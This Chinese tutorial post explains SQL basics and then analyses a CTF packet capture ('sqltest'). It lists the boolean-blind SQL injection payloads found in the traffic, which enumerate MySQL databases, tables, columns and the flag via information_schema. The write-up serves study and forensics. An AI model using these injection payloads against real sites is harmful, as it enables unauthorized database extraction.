SQL基础

什么是SQL

结构化查询语言 (SQL) 是一种编程语言，用于在关系数据库中存储和处理信息。关系数据库以表格形式存储信息，行和列分别表示不同的数据属性和数据值之间的各种关系。 SQL 语句可以从数据库中存储、更新、删除、搜索和检索信息，还可以用来维护和优化数据库性能。

数据库表

一个数据库通常包含一个或多个表，每个表有一个名字标识，表包含带有数据的记录（行）。

一个系统里可能会有多个数据库，其中在MySQL中，information_schema提供数据库对象（如表、列等）的元数据信息。

在一个 MySQL 服务器上，可以有如下结构：

1
2
3
4
5
6
7
8
9
10
11
12
Server
├── database1
│   ├── table1
│   ├── table2
│   └── view1
├── database2
│   ├── table3
│   ├── table4
│   └── procedure1
└── database3
    ├── table5
    └── function1

SQL命令

某些数据库系统要求在每条 SQL 语句的末端使用分号。

分号是在数据库系统中分隔每条 SQL 语句的标准方法，这样就可以在对服务器的相同请求中执行一条以上的 SQL 语句。

1
2
3
4
5
6
7
8
9
10
11
12
SELECT - 从数据库中查询提取数据
UPDATE - 更新数据库中的数据
DELETE - 从数据库中删除数据
INSERT INTO - 向数据库中插入新数据
CREATE DATABASE - 创建新数据库
ALTER DATABASE - 修改数据库
CREATE TABLE - 创建新表
ALTER TABLE - 变更（改变）数据库表
DROP TABLE - 删除表
CREATE INDEX - 创建索引（搜索键）
DROP INDEX - 删除索引
*语句不区分大小写
SELECT
1
2
3
4
5
SELECT column（列名）, another_column, …
FROM mytable（表名）
WHERE condition
ORDER BY column_name [ASC|DESC]
LIMIT num_limit OFFSET num_offset;
  • column_name(s): 要查询的列。
  • table_name: 要查询的表。
  • condition: 查询条件（可选）。
  • ORDER BY: 排序方式，ASC 表示升序，DESC 表示降序（可选）。
  • LIMIT:和 OFFSET 子句通常和ORDER BY 语句一起使用，当我们对整个结果集排序之后，我们可以 LIMIT来指定只返回多少行结果 ,用 OFFSET来指定从哪一行开始返回。
  • 查询所有列：
1
2
SELECT * 
FROM mytable（表名）;
  • 条件筛选（数字）：
Operator（关键字） Condition（意思） SQL Example(例子）
=, !=, < <=, >, >= Standard numerical operators 基础的 大于，等于等比较 col_name != 4
BETWEEN … AND … Number is within range of two values (inclusive) 在两个数之间 col_name BETWEEN 1.5 AND 10.5
NOT BETWEEN … AND … Number is not within range of two values (inclusive) 不在两个数之间 col_name NOT BETWEEN 1 AND 10
IN (…) Number exists in a list 在一个列表 col_name IN (2, 4, 6)
NOT IN (…) Number does not exist in a list 不在一个列表 col_name NOT IN (1, 3, 5)
  • 条件筛选（字符串）：
Operator（操作符） Condition（解释） Example（例子）
= Case sensitive exact string comparison (notice the single equals)完全等于 col_name = “abc”
!= or <> Case sensitive exact string inequality comparison 不等于 col_name != “abcd”
LIKE Case insensitive exact string comparison 没有用通配符等价于 = col_name LIKE “ABC”
NOT LIKE Case insensitive exact string inequality comparison 没有用通配符等价于 != col_name NOT LIKE “ABCD”
% Used anywhere in a string to match a sequence of zero or more characters (only with LIKE or NOT LIKE) 通配符，代表匹配0个以上的字符 col_name LIKE “%AT%” (matches “AT”, “ATTIC”, “CAT” or even “BATS”) “%AT%” 代表AT 前后可以有任意字符
_ Used anywhere in a string to match a single character (only with LIKE or NOT LIKE) 和% 相似，代表1个字符 col_name LIKE “AN_” (matches “AND”, but not “AN”)
IN (…) String exists in a list 在列表 col_name IN (“A”, “B”, “C”)
NOT IN (…) String does not exist in a list 不在列表 col_name NOT IN (“D”, “E”, “F”)

SQL注入（流量分析版）

布尔盲注

常用函数
  • substr(str,from,length)：返回从下标为from截取长度为length的str子串。其中，首字符下标为1
  • length(str)：返回str串长度
过程（以buu《sqltest》为例）

首先导出操作并进行处理，使其方便查看。

1
./tshark.exe -r sqltest.pcapng -Y "http.request" -T fields -e http.request.full_uri > data.txt
  • 获取数据库库名。

    其中information_schema.SCHEMATA是 INFORMATION_SCHEMA 数据库中的一个表或视图，存储服务器上所有数据库（或模式）的元数据信息。

    1
    2
    3
    4
    5
    6
    length((select count(*) from information_schema.SCHEMATA))>100
    length((select count(*) from information_schema.SCHEMATA))>50
    ...
    length((select count(*) from information_schema.SCHEMATA))>1
    length((select count(*) from information_schema.SCHEMATA))>0
    length((select count(*) from information_schema.SCHEMATA))>1

    以上爆破出数据行数的长度为1，于是开始爆破个数。

    1
    2
    3
    4
    5
    ascii(substr(((select count(*) from information_schema.SCHEMATA)), 1, 1))>100
    ...
    ascii(substr(((select count(*) from information_schema.SCHEMATA)), 1, 1))>52
    ascii(substr(((select count(*) from information_schema.SCHEMATA)), 1, 1))>53
    ascii(substr(((select count(*) from information_schema.SCHEMATA)), 1, 1))>53

    chr(53) = ‘5’，可以得知infomation_schema.SCHEMATA有5行数据。

    开始获取每一个数据库库名的长度，且并发执行。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    length((select SCHEMA_name from information_schema.SCHEMATA limit 0,1))>100
    length((select SCHEMA_name from information_schema.SCHEMATA limit 1,1))>100
    length((select SCHEMA_name from information_schema.SCHEMATA limit 2,1))>100
    length((select SCHEMA_name from information_schema.SCHEMATA limit 3,1))>100
    length((select SCHEMA_name from information_schema.SCHEMATA limit 4,1))>100
    ... 
    length((select SCHEMA_name from information_schema.SCHEMATA limit 0,1))>18
    length((select SCHEMA_name from information_schema.SCHEMATA limit 1,1))>3
    length((select SCHEMA_name from information_schema.SCHEMATA limit 2,1))>7
    length((select SCHEMA_name from information_schema.SCHEMATA limit 3,1))>5
    length((select SCHEMA_name from information_schema.SCHEMATA limit 4,1))>4

    最后开始爆破库名，同样也是并发执行。

    1
    2
    3
    4
    5
    6
    7
    ascii(substr(((select SCHEMA_name from information_schema.SCHEMATA limit 0,1)), 1, 1))>100
    ascii(substr(((select SCHEMA_name from information_schema.SCHEMATA limit 2,1)), 1, 1))>100
    ...
    ascii(substr(((select SCHEMA_name from information_schema.SCHEMATA limit 2,1)), 7, 1))>102
    ascii(substr(((select SCHEMA_name from information_schema.SCHEMATA limit 2,1)), 7, 1))>103
    ascii(substr(((select SCHEMA_name from information_schema.SCHEMATA limit 0,1)), 18, 1))>96
    ascii(substr(((select SCHEMA_name from information_schema.SCHEMATA limit 0,1)), 18, 1))>97

    得到一个名为”db_flag“的库。

  • 爆破表名。

    同样也是按照表名个数的长度—>表名个数—>表名长度—>表名的顺序爆破。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    length((select count(*) from information_schema.tables where TABLE_SCHEMA='db_flag'))>100
    ...
    length((select count(*) from information_schema.tables where TABLE_SCHEMA='db_flag'))>1
    length((select count(*) from information_schema.tables where TABLE_SCHEMA='db_flag'))>0
    length((select count(*) from information_schema.tables where TABLE_SCHEMA='db_flag'))>1
    #个数长度为一位数

    ascii(substr(((select count(*) from information_schema.tables where TABLE_SCHEMA='db_flag')), 1, 1))>100
    ...
    ascii(substr(((select count(*) from information_schema.tables where TABLE_SCHEMA='db_flag')), 1, 1))>47
    ascii(substr(((select count(*) from information_schema.tables where TABLE_SCHEMA='db_flag')), 1, 1))>49
    ascii(substr(((select count(*) from information_schema.tables where TABLE_SCHEMA='db_flag')), 1, 1))>48
    ascii(substr(((select count(*) from information_schema.tables where TABLE_SCHEMA='db_flag')), 1, 1))>49
    #chr(49)='1'，只有一个表

    length((select table_name from information_schema.tables where TABLE_SCHEMA='db_flag' limit 0, 1))>100
    ...
    length((select table_name from information_schema.tables where TABLE_SCHEMA='db_flag' limit 0, 1))>7
    #表名长度为7

    ascii(substr(((select table_name from information_schema.tables where TABLE_SCHEMA='db_flag' limit 0, 1)), 1, 1))>100
    ascii(substr(((select table_name from information_schema.tables where TABLE_SCHEMA='db_flag' limit 0, 1)), 1, 1))>200
    ...
    ascii(substr(((select table_name from information_schema.tables where TABLE_SCHEMA='db_flag' limit 0, 1)), 7, 1))>103
    #最后爆破得到的名字为‘tb_flag’
  • 爆破字段。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    length((select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='db_flag' and TABLE_NAME='tb_flag'))>100
    ...
    length((select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='db_flag' and TABLE_NAME='tb_flag'))>1
    length((select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='db_flag' and TABLE_NAME='tb_flag'))>0
    length((select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='db_flag' and TABLE_NAME='tb_flag'))>1
    #字段个数的长度

    ascii(substr(((select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='db_flag' and TABLE_NAME='tb_flag')), 1, 1))>100
    ...
    ascii(substr(((select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='db_flag' and TABLE_NAME='tb_flag')), 1, 1))>50
    #字段个数

    length((select column_name from information_schema.COLUMNS where TABLE_SCHEMA='db_flag' and TABLE_NAME='tb_flag' limit 0,1))>100
    ...
    length((select column_name from information_schema.COLUMNS where TABLE_SCHEMA='db_flag' and TABLE_NAME='tb_flag' limit 1,1))>4
    #获取每一个字段长度

    ascii(substr(((select column_name from information_schema.COLUMNS where TABLE_SCHEMA='db_flag' and TABLE_NAME='tb_flag' limit 0,1)), 1, 1))>100
    ...
    ascii(substr(((select column_name from information_schema.COLUMNS where TABLE_SCHEMA='db_flag' and TABLE_NAME='tb_flag' limit 1,1)), 4, 1))>103
    #并发获取每个字段字段名
  • 爆破值。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    length((select count(*) from db_flag.tb_flag))>100
    ...
    length((select count(*) from db_flag.tb_flag))>1
    #值个数的长度

    ascii(substr(((select count(*) from db_flag.tb_flag)), 1, 1))>100
    ...
    ascii(substr(((select count(*) from db_flag.tb_flag)), 1, 1))>49
    #值的个数

    length((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1))>100
    ...
    length((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1))>38
    #值的长度

    于是开始获取值，该值应该就是我们要找的flag。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ascii(substr(((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1)), 1, 1))>100
    ...
    ascii(substr(((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1)), 38, 1))>100
    ascii(substr(((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1)), 38, 1))>200
    ascii(substr(((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1)), 38, 1))>150
    ascii(substr(((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1)), 38, 1))>125
    ascii(substr(((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1)), 38, 1))>112
    ascii(substr(((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1)), 38, 1))>119
    ascii(substr(((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1)), 38, 1))>122
    ascii(substr(((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1)), 38, 1))>124
    ascii(substr(((select concat_ws(char(94), flag)  from db_flag.tb_flag  limit 0,1)), 38, 1))>125

    写个脚本进行统计即可（或者手撕）。